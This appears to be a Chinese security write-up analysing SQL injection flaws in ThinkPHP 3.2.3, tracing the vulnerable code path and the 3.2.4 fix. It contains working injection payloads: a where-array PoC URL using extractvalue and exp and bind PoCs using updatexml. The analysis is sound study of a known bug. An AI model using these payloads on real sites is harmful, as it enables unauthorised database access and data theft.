必看知识:ThinkPHP3.2.3完全开发手册,Thinkphp3.2.3安全开发须知,Thinkphp 源码阅读,thinkphp3.2框架中大写字母函数总结
[TOC]
环境搭建
composer create-project topthink/thinkphp=3.2.3 tp3
CREATE TABLE `users` (
`id` int(11) NOT NULL,
`username` varchar(255) DEFAULT NULL,
`password` varchar(255) DEFAULT NULL,
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
INSERT INTO `users` (`id`, `username`, `password`) VALUES ('1', 'admin', 'admin');
INSERT INTO `users` (`id`, `username`, `password`) VALUES ('2', 'yq1ng', 'yq1ng');
配置数据库:ThinkPHP/Conf/convention.php
/* 数据库设置 */
'DB_TYPE' => 'mysql', // 数据库类型
'DB_HOST' => '127.0.0.1', // 服务器地址
'DB_NAME' => 'thinkphp', // 数据库名
'DB_USER' => 'root', // 用户名
'DB_PWD' => 'root', // 密码
'DB_PORT' => '3306', // 端口
访问首页自动生成目录结构
where 注入 (一)
漏洞概述
由于 ThinkPHP\Library\Think\Model.class.php
中对用户输入过于信任直接解析了传入的值且正则过滤书写失误导致sql注入
影响版本:thinkphp v3.2.3
漏洞利用
POC:http://127.0.0.1/PHPSec/tp3/index.php?id[where]=1 and extractvalue(0x0a,concat(0x0a,(select database())))
漏洞分析
测试版本:3.2.3
看 3.2.4 的 releases 说明及其 commit (大同小异,仅列出一个,太长了。。)
将 $options['where']
改为 $this->options['where']
进行区分,同时分析表达式不在传入参数
自定义控制器
public function index()
{
$data = M('users')->find(I('GET.id'));
var_dump($data);
}
打上断点,访问:http://127.0.0.1/PHPSec/tp3/index.php?id=1'
,命中后将 M()
跳过,跟踪 I()
,会使用 htmlspecialchars()
对传入数据进行转义,但是它并不对 单引号 感冒,所以无所谓
如果传入的数组还会对其进行关键字过滤,但是这过滤有用吗?正则开始有个 ^
表示字符串以这些危险字符串开头的才能被匹配到,也是无用
function think_filter(&$value)
{
// TODO 其他安全过滤
// 过滤查询特殊字符
if (preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i', $value)) {
$value .= ' ';
}
}
然后返回到 find()
,这里也到了 commit 修改处,这里修改了 options
,接着往下看
_parseOptions()
对 $options
进行解析,进去看看
这个 _parseType()
也对 $options['where']
进行解析,跟进
这个函数主要是转换,如果数据库定义 id
为 int
的话后面再写什么语句都没用了,直接吃了。。。所以我把 id
暂时改成了 varchar
。
到这里 _parseOptions()
的事情也就结束了,它做了一些事情,又似乎没做。。。
回到 find()
,跟进断点处,这句是生成 sql &查询的
跟进 buildSelectSql()
,parseSql()
parseSql()
有点长,截图截不完,粘进来了,我们传进来的值一直在 where
里面,这里跟进 parseWhere()
一探究竟
public function parseSql($sql, $options = array())
{
$sql = str_replace(
array('%TABLE%', '%DISTINCT%', '%FIELD%', '%JOIN%', '%WHERE%', '%GROUP%', '%HAVING%', '%ORDER%', '%LIMIT%', '%UNION%', '%LOCK%', '%COMMENT%', '%FORCE%'),
array(
$this->parseTable($options['table']),
$this->parseDistinct(isset($options['distinct']) ? $options['distinct'] : false),
$this->parseField(!empty($options['field']) ? $options['field'] : '*'),
$this->parseJoin(!empty($options['join']) ? $options['join'] : ''),
$this->parseWhere(!empty($options['where']) ? $options['where'] : ''),
$this->parseGroup(!empty($options['group']) ? $options['group'] : ''),
$this->parseHaving(!empty($options['having']) ? $options['having'] : ''),
$this->parseOrder(!empty($options['order']) ? $options['order'] : ''),
$this->parseLimit(!empty($options['limit']) ? $options['limit'] : ''),
$this->parseUnion(!empty($options['union']) ? $options['union'] : ''),
$this->parseLock(isset($options['lock']) ? $options['lock'] : false),
$this->parseComment(!empty($options['comment']) ? $options['comment'] : ''),
$this->parseForce(!empty($options['force']) ? $options['force'] : ''),
), $sql);
return $sql;
}
parseWhere()
又调用了 parseWhereItem()
,跟进
接着跟 parseValue()
protected function parseValue($value)
{
if (is_string($value)) {
$value = strpos($value, ':') === 0 && in_array($value, array_keys($this->bind)) ? $this->escapeString($value) : '\'' . $this->escapeString($value) . '\'';
} elseif (isset($value[0]) && is_string($value[0]) && strtolower($value[0]) == 'exp') {
$value = $this->escapeString($value[1]);
} elseif (is_array($value)) {
$value = array_map(array($this, 'parseValue'), $value);
} elseif (is_bool($value)) {
$value = $value ? '1' : '0';
} elseif (is_null($value)) {
$value = 'null';
}
return $value;
}
进入 if 后的第一行对其进行了转义,跟进 escapeString()
,使用了 addslashes()
public function escapeString($str)
{
return addslashes($str);
}
至此,可以发现常规注入没法注,即便 id
是 int
型的(如果是 int
的话会进行 intval()
转换,没法利用了)
理一下思路:
id(int)
:payload ->I()
->find()
->_parseOptions()
->_parseType()
;在_parseType()
中将注入语句转换为数字,无法注入id(varchar)
:payload ->I()
->find()
->buildSelectSql()
->parseSql()
->parseWhere()
->parseWhereItem()
->parseValue()
->escapeString()
->addslashes()
;将单双引号转义,反斜杠也转义了,因此不能逃逸,无法注入
再去看 POC :?id[where]=1 and extractvalue(0x0a,concat(0x0a,(select database())))
,用数组的话会跳过 _parseType()
,这里简单传入 ?id[where]=1
测试
后面的 parseWhere()
会进入 if
也就相当于跳过此函数
原因很简单,相当于直接指定了 $options['where']
,find()
不会再对其赋值,造成可控
漏洞修复
分析表达式 $options = $this->_parseOptions();
不在传入参数,不可控了,即使传入 ?id[where]=1
sql 语句 也不会再有 where,只是 SELECT * FROM `users` LIMIT 1
exp & bind 注入
这个也很简单,就不写了,看看 Y4er 大佬的文章吧 Thinkphp3 漏洞总结
exp POC:?username[0]=exp&username[1]==1 and updatexml(1,concat(0x7e,user(),0x7e),1)
bind POC:?id[0]=bind&id[1]=0 and updatexml(1,concat(0x7e,user(),0x7e),1)&password=1